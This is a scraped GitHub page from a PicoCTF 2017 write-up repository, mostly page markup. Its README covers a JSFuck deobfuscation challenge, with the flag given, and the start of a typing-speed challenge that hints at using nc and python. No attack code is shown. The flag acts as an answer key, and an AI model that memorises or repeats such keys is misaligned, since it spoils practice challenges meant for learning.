1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> Idomin </span> <span>/</span> CTF-Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/Idomin/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":66765511,"originating_url":"https://github.com/Idomin/CTF-Writeups/tree/master/PicoCTF-2017","user_id":null}}" data-hydro-click-hmac="c5aa0785400dac4c08d0a438b2e66d2f749f5e08bf5756000ac418079fc1dcff"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Idomin/CTF-Writeups/refs" cache-key="v0:1472385035.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SWRvbWluL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Idomin/CTF-Writeups/refs" cache-key="v0:1472385035.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="SWRvbWluL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span>PicoCTF-2017<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span>PicoCTF-2017<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Idomin/CTF-Writeups/tree-commit/2ad18294447b70edebff55de771bc6d01a621453/PicoCTF-2017" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/Idomin/CTF-Writeups/file-list/master/PicoCTF-2017"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>README.MD</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>looooong</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> <readme-toc> <div id="readme" class="Box MD js-code-block-container js-code-nav-container js-tagsearch-file Box--responsive" data-tagsearch-path="PicoCTF-2017/README.MD" data-tagsearch-lang="Markdown"> <div class="d-flex js-sticky js-position-sticky top-0 border-top-0 border-bottom p-2 flex-items-center flex-justify-between color-bg-default rounded-top-2" style="position: sticky; z-index: 30;" > <div class="d-flex flex-items-center"> <details data-target="readme-toc.trigger" data-menu-hydro-click="{"event_type":"repository_toc_menu.click","payload":{"target":"trigger","repository_id":66765511,"originating_url":"https://github.com/Idomin/CTF-Writeups/tree/master/PicoCTF-2017","user_id":null}}" data-menu-hydro-click-hmac="e1a4ec4d274f87a3173320bfa6ec08c108e381a533b9ab6bb92c945ce0de490e" class="dropdown details-reset details-overlay"> <summary class="btn btn-octicon m-0 mr-2 p-2" aria-haspopup="true" aria-label="Table of Contents"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-list-unordered"> <path d="M5.75 2.5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5ZM2 14a1 1 0 1 1 0-2 1 1 0 0 1 0 2Zm1-6a1 1 0 1 1-2 0 1 1 0 0 1 2 0ZM2 4a1 1 0 1 1 0-2 1 1 0 0 1 0 2Z"></path></svg> </summary> <details-menu class="SelectMenu" role="menu"> <div class="SelectMenu-modal rounded-3 mt-1" style="max-height:340px;"> <div class="SelectMenu-list SelectMenu-list--borderless p-2" style="overscroll-behavior: contain;"> JSut Duck It Up : REV 100 looooong : misc 20 VR Gear Console </div> </div> </details-menu></details> <h2 class="Box-title"> README.MD </h2> </div> </div> <div data-target="readme-toc.content" class="Box-body px-5 pb-5"> <article class="markdown-body entry-content container-lg" itemprop="text"><h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>JSut Duck It Up : REV 100</h1>What in the world could this be?!?! Link to a fileHINTSMaybe start searching for uses of these chunks of characers? Is there anything on the Internet with them?Looked at the file and identified it as jsfuck.Execute the code on http://www.jsfuck.com/ and an alert will prompt with the flag.aw_yiss_ducking_breadcrumbs_b703db4e<h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>looooong : misc 20</h1>I heard you have some "delusions of grandeur" about your typing speed. How fast can you go at shell2017.picoctf.com:44840?HINTSUse the nc command to connect!I hear python is a good means (among many) to generate the needed input.It might help to have multiple windows open<div class="snippet-clipboard-content notranslate position-relative overflow-auto" 